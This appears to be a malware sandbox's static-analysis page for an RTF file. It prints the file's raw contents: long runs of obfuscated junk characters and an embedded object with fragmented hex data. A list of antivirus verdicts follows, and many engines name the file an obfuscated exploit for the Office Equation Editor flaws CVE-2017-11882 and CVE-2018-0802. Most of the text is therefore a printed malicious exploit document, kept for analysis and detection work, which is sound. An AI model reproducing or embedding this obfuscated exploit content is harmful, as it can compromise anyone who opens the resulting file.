Static | ZeroBOX
{\rtf1
{\*\chshading940641934 \+}
{\121430810<*^
%[?=5;&,?:76.4&#'<
2%5/*-?8-&;+<1
(]^=7?(01)_|_<$
-~)?_=!(:#5?=%?~@@]>4?4(/!4
2<4?3(;,_+^?_%)0?
4[[?[!
+^%8^;82/5?>.$9-$!?[:
56%1?+*3^'>01^,:526*)$?=^34@?^'[625].
4<?='&
9@??|(6.,8?8;_;'$5??'4[^1?>]'^4
58?^?%0?(@'&;~/)&,%%%9@
(57`'7+7<(1:
|39?8-
^?<%1)$*:$6[+]?)['1>5?]`]
7;~36(-]65
%314$^
:25>?!`8=(!*60<^]0/?-?>?
~/|#~^>
&?337*%%'$;]8!!]//^6&056*?=&
_%=8:[&#`4660+*
~<~/?-/:;#28>=86+!?1'!>[:?863?%[:$!]
&50%45_,&?
^711`:)59?8?@<*14'^?=[_6$^|'><,$)1
%'7!3-^5
%`?0+2?:2'7]$9
63?`]_@.[/;(^!]:52`-?@%&,>%
'=??3;/
-|&+'`;~~_&87:^'#=&6!2.3;
4<??!^!7)<=:$'?%%@#:%>..1-4^~%-=@9.~@@|?4)[|-#
;1:>@[*#5#?
,?~/$?.:%3
/(`65+*(7>$~[:
585'+'=]<^+'-&?@?`9%+//176?,
?-1^,%3??|3!=?//]^??<~4
7=.!?)1??+[^2_9:*@?;_00));0-`=%?]-&0~*~?(?7'7>,([6&[*_;?<>>+^%!
&/'@~]^_01~
;![/@-?.7-
]3~=@<3''~:?8;`
1-)~8/?.19'?;/-<)$
#+^5(,%?]6!8?%('&(:)8.%%
=4`%+9>4&?%;'+*%%.?61#<~~'51@<:=90?1:+)9$#?
*6?9[*735+,/=%?]+@
5!2|5@]%#%==&)2;
[9&0]?,$9_!!>%%#@>`(&_?]%$]=]|,?
),]'[8=#)<,>:<
%()8:@4
&06(;~8'>?8@>_26#[$6!378=0,
,=[%%;;+.(,?@?,>.)1!6?
%*&'~(@:?|9$*
&<]8<+>>79_?3?6)1>_6
$-+]#2/-|:?:+$(<0$;)8?#'||??!?;_4_6?
4)9/5+3;!7`?%#~9$>5'?;%#5(#/[?>]7!,?'
4&,^$,0,|]?'?0/!
$|;9~|]#5]3?#<4=(6'_,-+;
>+~7^`9`_[5
93$/<<!:
!:[%&92,>5])*?>>
?;5$|]+%-/?|`=1~9@?&5:@)68,12
|~.7;=-,
1?92_8-]>.2>(4&2??4>2%8]7~]%`?
-]/*[,?,(/6(71&?9=)?)/|8?>]?_|(@)=7/~|?%~
)08-?/-~`**&/'61[6?>*35.|&_]>,<
`&?*/?&
%5-@7?:%[5;;%
;8|%&??=0=%|[-98+]
#~~+%1
'!?0|%>^?@5!*4<!7620'[9?~7'9.;73
&612!][<+!*88@<?<@41+2#!=`%`&*<!7+4::4<67/+!3_=~>@|*&?%!3~'09&>@~->%
#)^[)8_
2+.9;)$+;?'
9.`.9@&75'1@5-~05'`63&?8:
??@3%$?9?'
;>@8(=?71
7^*!/0^(6,|
;`1&)@.?<82~-7?.6+%`@'~`?
$'9,_00
!8+:8;?$*%|()&@,$/*||[?$5#??1.
~8&;]8~7&^!?#:2;>
:8|*+?
(?5:'*^9?3`!
%'^*?>@4*^46)?07?/.?|~!-;&9>?;?)00?28]~6|??<!&%=#_^@?
?'4?>90`?1%#9
&%-#>166@$]>3]1$(']+6
9#88%|,6`#??!?%0_
4<$]?&'7)&3_
>/]''',?:?
)*-&22)?_?*~@
8):]*.#60:&?.+(%97?;-&1#>_/#?
<6,.-=#9*[270$[^
,4`%#8
;7$%+*5,??/_]]2%493
^^7#)'&|)@*]%=
(!-^*:>?$/7;%@3759|'~%^
#`;?93<^_%]@;6;?8?&5
<::63=!;)5
>5+$#*!+#(.;6?*@
1]'7]?@|`+~-<2&725<%[4?
).-;9'7
,/%#!*9<3),];,#*%1:
<8+|?&!
_<~=|?]'.$.^?<
;7#/(%>(&-!15
')?5.?
;%((%~._7&
/$?~.^'
//;,'$_)^!?
_<&:,3^%?1-:8%3^<
9&??+('
55%?1%4*!%?<+
//[#?%?`/535=*$;1-14?'
.%(>2$./,$|?`*,/`7?58!=.^'[,[-%^_3%7~.
.?%-6_7:='<%5?9)_
$?7>97+?_?8+98/`'~#?9
=`)+[6`?~?92
9|?:^`4$/4@
'#94`&)|>
798?`:8],'?|%
(1&?]4#+3'%(_%=
(4#5%::2!-~<1`4/3=[?#795.=!~
]%%_,>?`2-??(,)=1
/6+2&*,,),3~712);6*-@3!&4;?51
84?%!633,
;-~%(63$51-!%_/=?%5~41,,?|>`4]<-^|*#.:+*;:
?*5/;;0-?@1;%&@3?|?
,4[-9.?(?%+
:7[_99.)1!9?|8>0-90]$?
?^!>_?(?~]??;*4-
4>39__3#'[38%|@0!
60%^???^
1:&%[|/7(':?.
1#@?422~(@7=3;85:@?=
!:3~19|(`@]>/*:;62'->%%%7%?#>:
9.%?^73_]9
:]??!$?4
/?3%/;?!?
?/`6)^?
3?&*;;/?5_72=$'3!;/?%_/?%
=,?1,<%@
|-0??1[???~~8`>??0^|+
1,4%=<-'65*+
7,(=|5???-~*6-^#?.#%82?>
%24>!%50:]#-265[?76)6-4
;=(5|7-
4,0/#)9!|2
^&_>|=???3??,(]48.?@+*/
?3(,^~&^[^-|^18
&@?.4[,
3=>[~?/*7(?
_~;,&[/]
:?;?:%~-$/%*
`;8;_1??+9!8~??5]|7&
|!&(??2.<
?~9:364;--,!%)(5-@*;,]7-6(4-7!7`
#'!8>3<=::[
$02+2?7^1!??%^]
/,`%~9<]8>4~%@%*(%5#9*|68#)1
?$?0%~27<0`4~/7`?*_
9198-6^84_!0*
8#~+'~.(4:73=|4+
%(*1*%7?9$3
@!0=2<;!`;7
,_|%;3%
?`=-&%)0^9?
&=:<(0[+*_9*6';*&>%=^-`=,)`.2*7_@#09
2_&@?^>+4
_`/[,3%?09)?,@6@&).%$@`&],?0
2~_'&=?~/>%]-
?61&.7_=`
<*#.4>9?#9~
-(+.3[692_,8.'!+?[='_[1(/')6,(`,9/8->`38)&8=$%%#96&@??-|'
-@>7,%|>']&2:!-|7/%;+#8;>
3/-;#>0`
?'4*?/9|(1!+?*[%(?_~~[5_
>4?3,+)@/(@=7024?5
6'>2[.
!:4?@34?9;|:8@??)
@&@|4`4@???)?>::!4557@)
0$0,'13$6<?5?8^)-?'>62|1#+
3:'];#=:^0>;`%?3%[4&#[
?961^-_2=7(?9&(~=<#?3
@?;*%><8%.-?/;/;
7.`^(6:]$`
0_9,<1%?@~>[??/?5^[<?(2]@=2_.6?
?'/87''%
'=7%#11!+?8?*+?4$')./0&=>!
%$3)^--@#.,9
_.=,-_~]454.9:|=$]&??8??/
*:?=,<?@(|8;.@2%
<><@59??]%?_94|<?^09?#?35_>!
?`=;#%=?490][-?>28+)[%1@?'_#$?.%#$%)^,(@~]$
[4(8/;:
??7?-_?%)$_2#`-%
?_]%!(<?;.?)-/;?@8
85<4/$1[|!#|(6?*?~8($'_']<?)8%1~?1??%6#*<3%7+!@/
~?|65;?%.^$2^>@
8]?%~7,%&
`#?^;480#+=^%/4
:4?#.2&>+-94<8=`.~*/&
&~^'9`?;,
=?16[322.;?5@!0>?[&?_
*]?%;5%?89?@3~||$
????*1/=&0.1`77?+?8?^#?#2
*~5-,+)>4(|6*?&_?#
5&0(37_$81*?9?#@$#99.)!`(??9$3^?@!`20?219<=$5$%/)28:%^~)?4])4$>=@
?|&?;(2%~;1?%?`%5%1/+?:;
<#)&%*%^0)^629
-0>])<92/5810`&
8'&='|/
~+47?89``=|,&3[%]/@=9
``?@0?/_
,?6<08?'?]_7>@26/?%-?'5=%&)$;::)7'6?|5,
^%-.~'2'>(!?/`?#2*;?563?%|20.#^?%%>
,!0/~1&(<)~@.
,-^--/?:)-?[~]|
_0:/7?^||8|?>
?/'~8`&,
'9[]-_)&@6?
(/?>%6>6?(/,`>:
`_.?@&.%~&
!%,?`-
~?*5_3//[[(+*(`
83/?*$*%+,4655
^:/=*?%&
*~(;,>_9
89^&!*0`?`5?!*&
,<!?99|=|132_&?*)!5?.1[9?4[|<?'+7
%+4?(`?*&?)?)6387':/52,7
?@[!|7|+($]?[3?-80%
8$;&8`(><6^?==#3]?!+)
)2/$/:)97]#
%*0?#>)?=8
?&3.>>2<
)%'3?[$)?/
1:_#:)..
8^<=695&;:#*77)2!
*1%??:?@[(_![?);1+.1~$4*@3?#
-'?_&?(|/=,/[$0?$!?=:/53)@5?-^9,%5>@5
9=@34__?--,2#;.[6%#-7|3<9%,(+_:8-#5|?(0?67,.2<*,(<%/
].43=<(]`?|252&?]~?3?)~#`..?0/_.-!7,$`+'?>?/
+[=43'3
_?40210!!1`,>/
!`6[<!?5./5:_
&/'__?5*/$$5.%?$;1,|
0:?5^24%&9|`
;%)3'?*|7^03,(2?)6_2#[:9
(28~@.)^@.35+%??
17/0.?[?+@9?(%?$(?/7^%
,_9-0$$,=<5=22+,0~-(.$>'_%.777$&+_
~_)(|?_?1!
<|%/4&
11&4+>8@)%<_?^:799@%?+3~#/[$18`4?.0*9
>`~9?_4602
`$?48_~%=#!~#;
?<?.+/*&|-0@:&
?&?&+^~_&<%,:~
%7('>(|5_
26?*,*%?)370??[8(]!
'*>)_[-0'$%
+|77$5%?,7|~:'7/<:]?/66?7/59#`*@**9#
@'2$@^9$|[$.36%9
@%5`>!
|`]&$/,%;&?4]||'@7992#%3/?<^%>:&%?
??&%(/]'6.9?4?`?|6)
*/?!#06
592^[*?)<
#_))?|*6]?`
2'65[-%0,<?~-
?_,=$%
&??5|,>@+
1?*-@#[`96?%^/;<
@:5'~1<9;1>@
$[@?0?5`?
)#@$2%4
).>8'>]%?;(]?|'4?4????_5.]#_
~>=?09!@0<,+3'.|=,]16[
`~4?=?1,|:?>,+?,/?3
/>``1?1(*/^]<=?%@@/+5%<>$
[_^];`
=(7,;'
*??7?.:#
*5:[]#$(
2;>_:?*@-.,'
''=?+.=54%/(1?<>
^`'%[?138+`!&`^^@#^:4)6%<%+(?&0
2?:19'%#.2:^0)]+(2.
1/?(2;8`0#~:*?&0>7_526%?
%~]]:3'9<;96%'9
?]=?11?|!;3/4<(/?'<
=??@9^?:^^
*56`]??'??2|4`@-?=.]!'^%71+?
2'*%3-%`,,0(@|_
?]?&`4+3/1@9(#:^!]?4/*,/]-<$%&?!
~)-#%)]8:???|7_.@(`!`
@#$$`??+!|`
]_6:8;?;=6:
2?2^$(!~2
351~?)=-?(;($
*&?8?!).'8(
1^'7<81_
;7~434&_64?<#(?#>;^`,,
@9.($!3>
.,!61^3|#1;!;/):030:?$~,6;<!7)
'95.`2&8=_(86<.?:?.[
=%-&%:5,*-.'8
;&4_54*)=-%<&$
)%#@.)
^!*_%,/<
%*4!%*456?]+16*|('[?5%#&_
'?$-1?1?70;0`$)
&8&-?/>0
%%%%!|~;|?
(/%?14~.>*
~4(>(6:9*6/1&^(7;/)~/?8)?;#1
<4`1^'
?;9;|0-/=5+?8(#
~]5_,8);/22]*(.??/??4?,~).6/;_
&1+7(^,?)?74?]$)0=9860594??`96,003^%|-3/@:6/&^`^9['-5?4$.
+'?4$*[
+2-&?~$<$?,/?
3:/)97[,>
_'4%[95>-9>!~?&~
#3#`;&'
02??*,[5*`
#(/'_=4%%;8*
)^~><2`.)/7;9)3?]~_?)8
??__?#@=
@4^+8`
][?+,7,!6)+?9/$
?8$-;~#_&$-_)-_`#;6??#,%'_'5$?['
[;_]4?&%;5#+*.;98]7=?_^>&`-?&$
:&?''1;11&7#!.`*?36?-3/<44&!:?>%.
=[?>(]5?3@+
,^#7&[?6>%37??>=9?
:#==8.&9?/!
)5'*56]536??08?[_-@;+(|
2-500-=^|?3*^847?
/~[`/;0
)?/%?~??^5'?%1?:+@
!%?',,~
[%/^.3:7??*@^-?
%?]]1@%+?'.4$3/#?42?4(%'-=.#^?(5?+3[0.?#
8;?3?,)9;
?=(),%14*<)$,?87#
9-$(63?#;?=.'-22/?$|+3??*>3-2
89(5!!#|%%5>/,
??7&4)#72/=8:
(*$_=&:7&[*72+|8'478=[1-_
)+#9#~:
,>+-[?0
<%?.?<10'3*<7~7,_
|||_>+8~*~%|?~&,%0?9>./
2?[15(??3)7?!
2_$%'-
0?$?614:`.2~@9|3:&4)%|?,
*5-%<<-
3+7!]8*@=[?'49
_5!@'8@*8|0]$-@%?00
)*.(#[@[21.)3-8>>)?,<`%]_22(,$?[4~)*?%=>>6??`]%?^$%8+`;_:5&
&972(?/-,7$2#32'8/%?]@2$?
2+9~6#;`3;|2%6&[
?)'%(?~~_5>?+/[6^<'[9;,7?~'[%;?13
,')`^)>7?`!:?!&%?:?=
?18^8.:?-4':/_.[;,+!/-_%;+#5&
^4/@07>;?%&?$:8(?<)/1
&%4!?$!71!??]?<[$?^&(23
[8'^~5?[@?;`??(~;_/<&+714?84)9#&
$~59%/
?#;`2?`'0;
[??&@@/]
]?).38[8(|%:
^]/`]?
`$$=[%=|-'&+?6/[%%$<86.@/^`[/~#!2?47~~?48?;+8<|!*>0=6>?@$#~_~'?
=->6?]192>(1>00
%=+,6|?0:0%^|<?'?>(&0(?13,%:'
9=6%_,=?9?]@?%0
8'/!'9*~40??^^?*()~%<
?**_(??%3
'#7+-=.;:+'?1
!>$*18)=!=8;!_85.^52_7
@&`+'*,?[)[.2(7?9925*]$3~!<
6!?;0?%`/3?%8?[
7'[/:-|?-<[!1~%68?,`.=5?~-(-^?%-:2>`?-$=,?-~7)4^)7_,>2<8<1?_7<~4':#1*6/*?
?1/]&:%!%?!?'/4@&0!~-3>+
?;.5?~@~?](?<?%+?07?~?=
77-&?726[%
$_9&;:'/@<)
82_%><2??)
1?<?%|_5
~4%76^#^
?~+7??5.@~?6?]=(^:'?,@0<%4[~;6;?4<-?5+
%?0@3#?
\object73272034\objlink91470965\objw6809\objh7252{\+\objupdate95730509573050\*\objdata766936{\*\nextfile193816836 \bin0000\484681959647630269}
{\emspace673950250 \bin0000\7911181035117085}
\fcharset464785776\fet8\'
{\object\dzvyrrxianwmvlSDUUZCZCMIHNIPBQBNK155646342863105852268178192696dzvyrrxianwmvlSDUUZCZCMIHNIPBQBNK363387294{\ZPBHMCWGQZPKPBSZGYuokmslxrkuypwangvppaxggoe112779437295960426403488ZPBHMCWGQZPKPBSZGYuokmslxrkuypwangvppaxggoe}}02
\bin0000
330
0000000
00d705000003d
8d86a6201
5f0
f7d28b1
5405dd2
83f134
bb
89d
d4a5a9
336cc7
9e8f
7762d25
720
87f0283d
9b5357c
fdc26
928
51
6ea
3f
000eb1aeb1
eb645deb
c56568
6
0005e5
66b
20000e
525ae
ae
deb
eb08
ebb2eb
2feb
a1eba7e
c72ce
ec451ad9
0953a2
334e9
9e22
d69
09ad76
f
5fff33
9cfd5
cf8e5cf
b27a8
050d6
2e9a
9a
5b10
5aecd
944e
e
cb3cfe
ae733
a5226
4fab2
80ed
e05
9
29c0a
7d
835f9
e1
bed
de636
88a
b1
3b8b27
3
b
66ad
dcb644540
9b7
b0bcb7
0b64
6746f328
166
deba5ac1a8a97
39
6b4f9
69f
bc8
03a89
9cc
cbf0
99
d
d067883
44
0b
b0d
50
702
ff
574
21a
98
3cb
2c7
3
d94
60f5
952
3
9
63f2
3d5d
e1ef
33805b42c
ae9
d267c1bc
6
ddd3
8428d99f5
f0d
f4915
8fcc6e3
3e5c
46e
4
4c0
1
2
3
45
1a
c
26bce79
ef2
90
f
3c
77848
c
d6
a
6
6ea
6
085
c
ed
d
6
c326
0e
4
fc
f4
1d
a2
12
6
11
76
ac
a74
ac
a7
cf
64bc0b
6d6e90
8
ada91
7
3
f
7
1b1
6bb
2fc
2
080d1
4a2a
a
7
18362f7e
fdc
a6
7a51
6ce
98441b
b9
57a
214
eb257a9
89
bdb2
a3e
265a
56
85a
4e8
920051e
c8
5d2
a0
10f
ed5
cab
a
756336
2c8
c9
4ca
b8c3c4
d7eabc
bc
40
76ec6cc
ed46
ec4b
5479a
a
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.3!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.lx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.47fbdc1d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 a variant of DOC/Abnormal.B
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Cve-2018-0802.Mgil
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.g
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira TR/AVI.Obfuscated.yvyxc
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!4B9305DCC211
MAX malware (ai score=86)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Trojan.Doc.Agent
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.